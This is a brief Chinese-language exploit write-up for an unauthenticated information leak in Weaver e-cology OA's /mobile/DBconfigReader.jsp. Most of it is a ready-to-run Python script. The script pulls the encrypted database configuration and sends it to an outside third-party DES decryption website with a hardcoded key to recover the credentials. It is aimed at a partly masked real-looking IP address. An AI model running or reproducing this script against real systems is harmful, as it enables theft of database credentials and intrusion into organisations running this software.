泛微ecology OA數據庫配置信息泄露

漏洞詳情#

泛微e-cology OA系統/mobile/DBconfigReader.jsp存在未授權訪問，通過解密，可直接獲取數據庫配置信息。

利用前提
/mobile/DBconfigReader.jsp存在未授權訪問。

漏洞復現#

利用github的exp報錯，解密踩坑如下：

1. 亂碼，需要用b64加密后用密鑰解密
2. \r\n，詳見參考鏈接

最終python腳本如下：

import base64
import requests
import ast

def req(url):
	headers =  {
        'Content-Type':'application/x-www-form-urlencoded',
        'User-Agent':'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',
        'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
    }

	r1 = requests.get(url,headers=headers).content
	s = r1.replace('\r\n','')
	res1 = base64.b64encode(s)
	
	postdata = {
		'data':res1,
		'type':'des',
		'arg':'m=ecb_pad=zero_p=1z2x3c4v_o=0_s=gb2312_t=1'
	}
	u = 'http://tool.chacuo.net/cryptdes'
	r2 = requests.post(u,data=postdata,headers=headers).content	
	res2 = ast.literal_eval(r2)
	
	return res2['data']

url = 'http://58.2xxx:8888//mobile/DBconfigReader.jsp'
print req(url)
